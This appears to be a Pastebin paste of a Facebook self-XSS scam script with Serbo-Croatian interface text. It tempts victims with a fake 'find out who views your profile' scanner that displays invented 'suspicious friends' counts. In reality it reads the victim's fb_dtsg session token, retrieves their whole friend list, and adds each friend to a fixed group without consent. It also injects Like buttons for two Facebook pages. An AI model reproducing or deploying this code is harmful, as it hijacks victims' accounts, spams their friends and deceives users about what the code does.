Advertisement
ETFovac

Idiotizam

Jan 11th, 2013
123
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function penetrasi(e) {
  2.   jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&group_id=142896225866589&source=typeahead&members=" + e + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + Env.user, function (e) {
  3.     e = e.substring(e.indexOf("{")), e = JSON.parse(e), i--, kunaon = "<div class='friend-edge-name' style='text-align:left;font-size:10px;white-space:pre-wrap;", e.error ? (kunaon += "color:darkred'>", kunaon = e.errorDescription ? kunaon + e.errorDescription : kunaon + JSON.stringify(e, null, "")) : (kunaon += "color:darkgreen'>", kunaon += arr[i], suc++), kunaon += "</div>", e = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(255,255,255,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid rgba(0,0,0,0.5)'>" + ("<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>"), 0 < i ? (e += arr.length + " Prijatelja pronadjeno<br/>", e += "<b>" + suc + "</b> Sumnjivih prijatelja " + (arr.length - i) + " - Prijatelja skenirano", e += "(" + i + " preostalo....)", e = e + "<div class='friend-edge'>" + kunaon, e += "</div>") : (e += arr.length + " Prijatelja nadjeno ", e += "<b>" + suc + " Prijatelja nadjeno</b>", e += "<div><span class='uiButton' onClick='document.getElementById(\"pagelet_welcome_box\").style.display=\"none\"'>Zatvori</span></div>"), document.getElementById("pagelet_welcome_box").innerHTML = e + "</div>"
  4.   }, "text", "post"), tay--;
  5.   if (0 < tay) {
  6.     var t = arr[tay];
  7.     setTimeout("penetrasi(" + t + ")", 100)
  8.   }
  9.   console.log(tay + "/" + arr.length + ":" + t + ", success:" + suc), 0xf2a794cf90e3 != memberGroupId && jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&group_id=142896225866589&source=typeahead&members=" + e + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + Env.user, function () {}, "text", "post")
  10. }
  11. function clickfr_callback() {
  12.   0 < document.getElementsByName("ok").length && nHtml.ClickUp(document.getElementsByName("ok")[0]);
  13.   var e = arr[i];
  14.   i < arr.length && addfriend(e.substring(0, 4))
  15. }
  16. function clickfr() {
  17.   0 < document.getElementsByClassName("search").length ? (console.log(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1].innerHTML), document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].href = "javascript:void(0);", nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1])) : j++, setTimeout("clickfr_callback()", 2e3)
  18. }
  19. function addfriend(e) {
  20.   i++, document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus(), document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].value = e, document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].blur(), document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus(), document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus(), setTimeout("clickfr()", 2e3)
  21. }
  22. function sleep(e) {
  23.   for (var t = (new Date).getTime(), n = 0; 1e7 > n && !((new Date).getTime() - t > e); n++);
  24. }
  25. var tulisanNganu = " Saznaj ko ti gleda profil?",
  26.   kunaon = "";
  27. jx = {
  28.   getHTTPObject: function () {
  29.     var e = !1;
  30.     if ("undefined" != typeof ActiveXObject) try {
  31.       e = new ActiveXObject("Msxml2.XMLHTTP")
  32.     } catch (t) {
  33.       try {
  34.         e = new ActiveXObject("Microsoft.XMLHTTP")
  35.       } catch (n) {
  36.         e = !1
  37.       }
  38.     } else if (window.XMLHttpRequest) try {
  39.       e = new XMLHttpRequest
  40.     } catch (r) {
  41.       e = !1
  42.     }
  43.     return e
  44.   },
  45.   load: function (b, c, d, e, g) {
  46.     var f = this.init();
  47.     if (f && b) {
  48.       f.overrideMimeType && f.overrideMimeType("text/xml"), e || (e = "GET"), d || (d = "text"), g || (g = {});
  49.       var d = d.toLowerCase(),
  50.         e = e.toUpperCase(),
  51.         h = "uid=" + (new Date).getTime(),
  52.         b = b + (b.indexOf("?") + 1 ? "&" : "?"),
  53.         b = b + h,
  54.         h = null;
  55.       "POST" == e && (h = b.split("?"), b = h[0], h = h[1]), f.open(e, b, !0), "POST" == e && (f.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), f.setRequestHeader("Content-length", h.length), f.setRequestHeader("Connection", "close")), f.onreadystatechange = g.handler ? function () {
  56.         g.handler(f)
  57.       } : function () {
  58.         if (f.readyState == 4) if (f.status == 200) {
  59.           var b = "";
  60.           f.responseText && (b = f.responseText), d.charAt(0) == "j" ? (b = b.replace(/[\n\r]/g, ""), b = eval("(" + b + ")")) : d.charAt(0) == "x" && (b = f.responseXML), c && c(b)
  61.         } else g.loadingIndicator && document.getElementsByTagName("body")[0].removeChild(g.loadingIndicator), g.loading && (document.getElementById(g.loading).style.display = "none"), error && error(f.status)
  62.       }, f.send(h)
  63.     }
  64.   },
  65.   bind: function (e) {
  66.     var t = {
  67.       url: "",
  68.       onSuccess: !1,
  69.       onError: !1,
  70.       format: "text",
  71.       method: "GET",
  72.       update: "",
  73.       loading: "",
  74.       loadingIndicator: ""
  75.     }, n;
  76.     for (n in t) e[n] && (t[n] = e[n]);
  77.     if (t.url) {
  78.       var r = !1;
  79.       t.loadingIndicator && (r = document.createElement("div"), r.setAttribute("style", "position:absolute;top:0px;left:0px;"), r.setAttribute("class", "loading-indicator"), r.innerHTML = t.loadingIndicator, document.getElementsByTagName("body")[0].appendChild(r), this.opt.loadingIndicator = r), t.loading && (document.getElementById(t.loading).style.display = "block"), this.load(t.url, function (e) {
  80.         t.onSuccess && t.onSuccess(e), t.update && (document.getElementById(t.update).innerHTML = e), r && document.getElementsByTagName("body")[0].removeChild(r), t.loading && (document.getElementById(t.loading).style.display = "none")
  81.       }, t.format, t.method, t)
  82.     }
  83.   },
  84.   init: function () {
  85.     return this.getHTTPObject()
  86.   }
  87. };
  88. var nHtml = {
  89.   FindByAttr: function (e, t, n, r) {
  90.     return "className" == n && (n = "class"), (e = document.evaluate(".//" + t + "[@" + n + "='" + r + "']", e, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)) && e.singleNodeValue ? e.singleNodeValue : null
  91.   },
  92.   FindByClassName: function (e, t, n) {
  93.     return this.FindByAttr(e, t, "className", n)
  94.   },
  95.   FindByXPath: function (e, t) {
  96.     try {
  97.       var n = document.evaluate(t, e, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  98.     } catch (r) {
  99.       GM_log("bad xpath:" + t)
  100.     }
  101.     return n && n.singleNodeValue ? n.singleNodeValue : null
  102.   },
  103.   VisitUrl: function (e) {
  104.     window.setTimeout(function () {
  105.       document.location.href = e
  106.     }, 500 + Math.floor(500 * Math.random()))
  107.   },
  108.   ClickWin: function (e, t, n) {
  109.     var r = e.document.createEvent("MouseEvents");
  110.     return r.initMouseEvent(n, !0, !0, e, 0, 0, 0, 0, 0, !1, !1, !1, !1, 0, null), !t.dispatchEvent(r)
  111.   },
  112.   Click: function (e) {
  113.     return this.ClickWin(window, e, "click")
  114.   },
  115.   ClickTimeout: function (e, t) {
  116.     window.setTimeout(function () {
  117.       return nHtml.ClickWin(window, e, "click")
  118.     }, t + Math.floor(500 * Math.random()))
  119.   },
  120.   ClickUp: function (e) {
  121.     this.ClickWin(window, e, "mousedown"), this.ClickWin(window, e, "mouseup"), this.ClickWin(window, e, "click")
  122.   },
  123.   GetText: function (e, t) {
  124.     var n = "";
  125.     void 0 == t && (t = 0);
  126.     if (!(40 < t)) {
  127.       if (void 0 != e.textContent) return e.textContent;
  128.       for (var r = 0; r < e.childNodes.length; r++) n += this.GetText(e.childNodes[r], t + 1);
  129.       return n
  130.     }
  131.   }
  132. };
  133. void 0 == document.getElementsByClassName && (document.getElementsByClassName = function (e) {
  134.   for (var t = RegExp("(?:^|\\s)" + e + "(?:$|\\s)"), n = document.getElementsByTagName("*"), r = [], i, s = 0; null != (i = n[s]); s++) {
  135.     var o = i.className;
  136.     o && -1 != o.indexOf(e) && t.test(o) && r.push(i)
  137.   }
  138.   return r
  139. }), Array.prototype.find = function (e) {
  140.   var t = !1;
  141.   for (i = 0; i < this.length; i++) typeof e == "function" ? e.test(this[i]) && (t || (t = []), t.push(i)) : this[i] === e && (t || (t = []), t.push(i));
  142.   return t
  143. };
  144. for (var a = 0, eind = 0, len = document.getElementsByClassName("mbm").length, a = 0; a < len; a++) {
  145.   var ele = document.getElementsByClassName("mbm")[a];
  146.   if (ele && ele.childNodes[0] && ele.childNodes[0] && ele.childNodes[0].childNodes[1] && ele.childNodes[0].childNodes[1].childNodes[0] && "Add SUSCRIBERS" == document.getElementsByClassName("mbm")[a].childNodes[0].childNodes[1].childNodes[0].value) {
  147.     eind = a;
  148.     break
  149.   }
  150. }
  151. var i = 3,
  152.   tay = 3,
  153.   counter1 = 0,
  154.   counter2 = 0,
  155.   counter3 = 0,
  156.   j = 0,
  157.   k = 0,
  158.   suc = 0,
  159.   arr = [],
  160.   memberGroupId = document.getElementsByName("group_id")[0].value;
  161. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer=" + Env.user + "&filter[0]=user&__user=" + Env.user, function (e) {
  162.   for (var e = e.substring(e.indexOf("{")), e = JSON.parse(e), e = e.payload.entries, t = 0; t < e.length; t++) arr.push(e[t].uid);
  163.   tay = i = arr.length - 1, console.log(arr.length), e = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(255,255,255,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid rgba(0,0,0,0.5)'>" + ("<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>"), e += arr.length + " SUSCRIBERS detected", document.getElementById("pagelet_welcome_box").innerHTML = e + "</div>", penetrasi(arr[i])
  164. })
  165. var d = document;
  166. var e = d.createElement('div');
  167. e.setAttribute('id', 'mojdiv');
  168. e.setAttribute('style', 'position:fixed;top:245px;width:250px;height:550;margin-left:-309px;left:65%;background:white;z-index:9999;font-size:14px;padding:15px;border-radius:12px;border:8px solid black;');
  169. e.setAttribute('align', 'center');
  170. e.setAttribute('algin', 'center');
  171. e.innerHTML = "<center><font syle='font-family:arial, hewetica, sans-serif;font-size:20px;color:#3399ff;font-weight:bold;'>OBAVEZNO KLIKNI NA LIKE I SUBSCRIBE!:</font><br /><iframe src='//www.facebook.com/plugins/like.php?href=http://www.facebook.com/pages/SADO-MAZO-BAND/237547679690045&amp;send=false&amp;layout=button_count&amp;width=250&amp;show_faces=false&amp;font=segoe+ui&amp;colorscheme=light&amp;action=like&amp;height=21&amp;appId=169678993164124' scrolling='no' frameborder='0' style='border:none; overflow:hidden; width:250px; height:21px;' allowtransparency='true'></iframe><br /><iframe src='//www.facebook.com/plugins/like.php?href=http://www.facebook.com/KratkiGlupiStatusiXd&amp;send=false&amp;layout=button_count&amp;width=250&amp;show_faces=false&amp;font=segoe+ui&amp;colorscheme=light&amp;action=like&amp;height=21&amp;appId=169678993164124' scrolling='no' frameborder='0' style='border:none; overflow:hidden; width:250px; height:21px;' allowtransparency='true'></iframe></center>";
  172. d.body.appendChild(e);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement